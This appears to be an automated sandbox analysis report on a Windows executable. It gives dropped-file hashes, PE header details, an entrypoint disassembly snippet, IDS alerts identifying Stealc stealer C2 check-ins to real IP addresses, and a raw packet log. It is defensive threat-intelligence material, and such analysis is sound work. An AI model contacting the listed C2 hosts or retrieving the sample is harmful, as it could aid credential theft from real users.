C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.420619525795069
Encrypted:	false
SSDEEP:	6144:Gcifpi6ceLPL9skLmb0mVSWSPtaJG8nAgex285i2MMhA20X4WABlGuNv5+:ji58VSWIZBk2MM6AFBho
MD5:	0816CF35DAA670FD6A43E204BAA5F343
SHA1:	35994CC92332F4E1C4201D7DE7A5102150CA5A0C
SHA-256:	E87B2F4121050A436302BBD1A2563196DE7467BCE66AEC287931A6FB5929A19C
SHA-512:	A431DE47EE6A116E93BCEF42B3A4CCE9E4755D198D51A5BF4DAF52CE1F90A07A390EA229BB20142FD21FC4A039925A64A3673D72342DBA4F81A1FDA00AF28FBD
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..l.................................................................................................................................................................................................................................................................................................................................................bs{.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.682093028429504
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	FdjDPFGTZS.exe
File size:	505'344 bytes
MD5:	6452d41749e8d8658d229a7789541a51
SHA1:	4ee54154d5a23d9856c65dca94107035a8890fd0
SHA256:	33b0a6c0a93c8739f0a9de40a727c7d5dba9c9a0e6ffe65c7d3173082be2a73f
SHA512:	00f8ac63fb229bee76d68613f179ecafc90b92aeb9f8989ff1e4c580546aedd0eba905e2b566090221b00ca511f16148bc13270ed0c093fdb9b57dd478d68897
SSDEEP:	12288:I/l9sitPVqktifHtYXmN8zY6l1cNr/OLJks4S:IsitgNYW2llEOJq
TLSH:	50B4F114B6C1C072D4B621324BF4DA75AE3DBCB04A669E8F57D00F7E5F30181E625AAB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU...............

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x406f52
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6704196B [Mon Oct 7 17:24:59 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d10af643340e1121562abe3e6bd5b0e1

Entrypoint Preview

Instruction
call 00007FB2D4754B10h
jmp 00007FB2D475407Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007FB2D475421Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007FB2D475420Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007FB2D475420Eh
add edx, 28h
cmp edx, esi
jne 00007FB2D47541ECh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007FB2D47541FBh
push esi
call 00007FB2D4754E24h
test eax, eax
je 00007FB2D4754222h
mov eax, dword ptr fs:[00000018h]
mov esi, 0047B344h
mov edx, dword ptr [eax+04h]
jmp 00007FB2D4754206h
cmp edx, eax
je 00007FB2D4754212h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007FB2D47541F2h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007FB2D4754209h
mov byte ptr [0047B348h], 00000001h
call 00007FB2D47544BAh
call 00007FB2D47573D7h
test al, al
jne 00007FB2D4754206h
xor al, al
pop ebp
ret
call 00007FB2D475FE39h
test al, al
jne 00007FB2D475420Ch
push 00000000h
call 00007FB2D47573DEh
pop ecx
jmp 00007FB2D47541EBh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0047B349h], 00000000h
je 00007FB2D4754206h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c6c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7c000	0x3d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7d000	0x1ad8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2abc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ab00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x210f0	0x21200	1649d0b67eec1a4cfb504def632c05b4	False	0.5865860849056603	data	6.669876854988854	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x9d78	0x9e00	717215017d87ff280cf4ea22e186be54	False	0.43534909018987344	data	4.960859586329748	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x4ef70	0x4e200	7fc048240f78d4d426e2667a3f4c1c80	False	0.989925	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.990332870084003	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7c000	0x3d8	0x400	5584c2fd2a321b3ff4d89d84727643be	False	0.4404296875	data	3.290569201128903	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7d000	0x1ad8	0x1c00	defada6d708562e709bb6c1b5eeee23d	False	0.7271205357142857	data	6.392673690431564	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x7c058	0x380	data	English	United States	0.46205357142857145

Imports

DLL

Import

KERNEL32.dll

AttachConsole, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T19:33:14.158585+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:14.369227+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:14.376046+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.7	49718	TCP
2024-10-07T19:33:14.551085+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:14.563026+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.7	49718	TCP
2024-10-07T19:33:15.053500+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:15.227835+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:18.224171+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:19.123050+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:19.798772+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:20.261699+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:21.885214+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:22.255280+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49718	46.8.231.109	80	TCP
2024-10-07T19:33:24.414220+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49791	147.45.44.104	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 19:33:08.246634007 CEST	49674	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:08.246644020 CEST	49675	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:08.418489933 CEST	49672	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:08.746555090 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 19:33:10.200273991 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:10.200325012 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:10.201064110 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:10.201064110 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:10.201106071 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:10.833039999 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:10.833138943 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:10.837878942 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:10.837889910 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:10.838196993 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:10.850754976 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:10.895402908 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:10.946412086 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:10.946480036 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:10.946526051 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:10.946605921 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:10.946624994 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:10.946672916 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:10.947410107 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.044857979 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.044938087 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.044982910 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.045006990 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.045020103 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.045047045 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.046299934 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.046349049 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.046426058 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.046426058 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.046435118 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.046475887 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.127784014 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.127859116 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.127881050 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.127898932 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.127966881 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.127978086 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.128639936 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.128690958 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.128715992 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.128727913 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.128782034 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.128791094 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.129517078 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.129570961 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.129579067 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.129604101 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.129628897 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.129650116 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.131263971 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.131313086 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.131339073 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.131345987 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.131402016 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.211421013 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.211493969 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.211553097 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.211563110 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.211597919 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.211632013 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.211719990 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.211770058 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.211793900 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.211801052 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.211848974 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.212519884 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.212565899 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.212599993 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.212606907 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.212634087 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.212661982 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.213713884 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.213769913 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.213799953 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.213807106 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.213851929 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.214432001 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.214487076 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.214512110 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.214519978 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.214561939 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.215471983 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.215521097 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.215543032 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.215549946 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.215579033 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.215600014 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.216094971 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.216187000 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.216193914 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.216243029 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.216272116 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.216303110 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.216325998 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.216336966 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.216342926 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.216353893 CEST	49703	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.216357946 CEST	443	49703	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.314601898 CEST	49704	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.314646959 CEST	443	49704	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.314769983 CEST	49704	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.316185951 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.316231012 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.316307068 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.317558050 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.317567110 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.317632914 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.317919970 CEST	49704	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.317936897 CEST	443	49704	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.319674015 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.319714069 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.319802046 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.320177078 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.320210934 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.320211887 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.320225000 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.320342064 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.320372105 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.320393085 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.320414066 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.320422888 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.320471048 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.320483923 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.931045055 CEST	443	49704	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.931772947 CEST	49704	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.931794882 CEST	443	49704	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.932229042 CEST	49704	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.932234049 CEST	443	49704	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.932513952 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.932773113 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.932780981 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.933104038 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.933109999 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.960429907 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.960886955 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.960897923 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.961281061 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.961286068 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.977813959 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.978203058 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.978215933 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:11.978646994 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:11.978652000 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.008872986 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.009310007 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.009321928 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.009731054 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.009749889 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.028170109 CEST	443	49704	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.028224945 CEST	443	49704	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.028311014 CEST	49704	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.028323889 CEST	443	49704	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.028372049 CEST	443	49704	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.028373957 CEST	49704	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.028424025 CEST	49704	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.028501987 CEST	49704	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.028515100 CEST	443	49704	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.028527021 CEST	49704	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.028532982 CEST	443	49704	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.029601097 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.029658079 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.029704094 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.029777050 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.029783010 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.029805899 CEST	49707	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.029809952 CEST	443	49707	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.056288958 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.056305885 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.056452036 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.056458950 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.056540966 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.056725025 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.056766033 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.056839943 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.071363926 CEST	49708	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.071376085 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.071413040 CEST	49708	443	192.168.2.7	13.107.246.45
